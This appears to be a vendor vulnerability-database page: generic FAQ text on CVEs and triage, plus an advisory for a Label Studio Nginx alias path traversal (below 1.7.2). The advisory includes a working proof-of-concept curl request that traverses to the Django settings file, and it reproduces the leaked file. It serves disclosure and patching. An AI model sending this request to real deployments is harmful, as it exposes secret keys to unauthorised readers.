How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

413,619

Total vulnerabilities in the database

Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/ — label-studio

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119

The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash / at the end, the following code shows an example of a safe configuration:

location /static/ {
[...]

The vulnerability works because Nginx will think that /static../ is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed.

Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One)

** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.

# Production Label Studio docker-compose running on localhost:8080
/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py
&quot;&quot;&quot;This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
&quot;&quot;&quot;
import os
import pathlib

from core.settings.base import *

DJANGO_DB = get_env(&#039;DJANGO_DB&#039;, DJANGO_DB_SQLITE)
DATABASES = {&#039;default&#039;: DATABASES_ALL[DJANGO_DB]}

MIDDLEWARE.append(&#039;organizations.middleware.DummyGetSessionMiddleware&#039;)
MIDDLEWARE.append(&#039;core.middleware.UpdateLastActivityMiddleware&#039;)
if INACTIVITY_SESSION_TIMEOUT_ENABLED:
    MIDDLEWARE.append(&#039;core.middleware.InactivitySessionTimeoutMiddleWare&#039;)

ADD_DEFAULT_ML_BACKENDS = False

LOGGING[&#039;root&#039;][&#039;level&#039;] = get_env(&#039;LOG_LEVEL&#039;, &#039;WARNING&#039;)

DEBUG = get_bool_env(&#039;DEBUG&#039;, False)

DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env(&#039;DEBUG_PROPAGATE_EXCEPTIONS&#039;, False)

SESSION_COOKIE_SECURE = False

SESSION_ENGINE = &quot;django.contrib.sessions.backends.signed_cookies&quot;

RQ_QUEUES = {}

SENTRY_DSN = get_env(
    &#039;SENTRY_DSN&#039;,
    &#039;https://[email protected]/5820521&#039;
)
SENTRY_ENVIRONMENT = get_env(&#039;SENTRY_ENVIRONMENT&#039;, &#039;opensource&#039;)

FRONTEND_SENTRY_DSN = get_env(
    &#039;FRONTEND_SENTRY_DSN&#039;,
    &#039;https://[email protected]/5838868&#039;)
FRONTEND_SENTRY_ENVIRONMENT = get_env(&#039;FRONTEND_SENTRY_ENVIRONMENT&#039;, &#039;opensource&#039;)

EDITOR_KEYMAP = json.dumps(get_env(&quot;EDITOR_KEYMAP&quot;))

from label_studio import __version__
from label_studio.core.utils import sentry
sentry.init_sentry(release_name=&#039;label-studio&#039;, release_version=__version__)

# we should do it after sentry init
from label_studio.core.utils.common import collect_versions
versions = collect_versions()

# in Label Studio Community version, feature flags are always ON
FEATURE_FLAGS_DEFAULT_VALUE = True
# or if file is not set, default is using offline mode
FEATURE_FLAGS_OFFLINE = get_bool_env(&#039;FEATURE_FLAGS_OFFLINE&#039;, True)

from core.utils.io import find_file
FEATURE_FLAGS_FILE = get_env(&#039;FEATURE_FLAGS_FILE&#039;, &#039;feature_flags.json&#039;)
FEATURE_FLAGS_FROM_FILE = True
try:
    from core.utils.io import find_node
    find_node(&#039;label_studio&#039;, FEATURE_FLAGS_FILE, &#039;file&#039;)
except IOError:
    FEATURE_FLAGS_FROM_FILE = False

STORAGE_PERSISTENCE = get_bool_env(&#039;STORAGE_PERSISTENCE&#039;, True)

Impact

The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)

Published: Mar 24, 2023
Updated: Apr 14, 2023
GHSA: GHSA-cpmr-mw4j-99r7
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWEs:

CWE-22

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	Affected versions
label-studio	`< 1.7.2`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.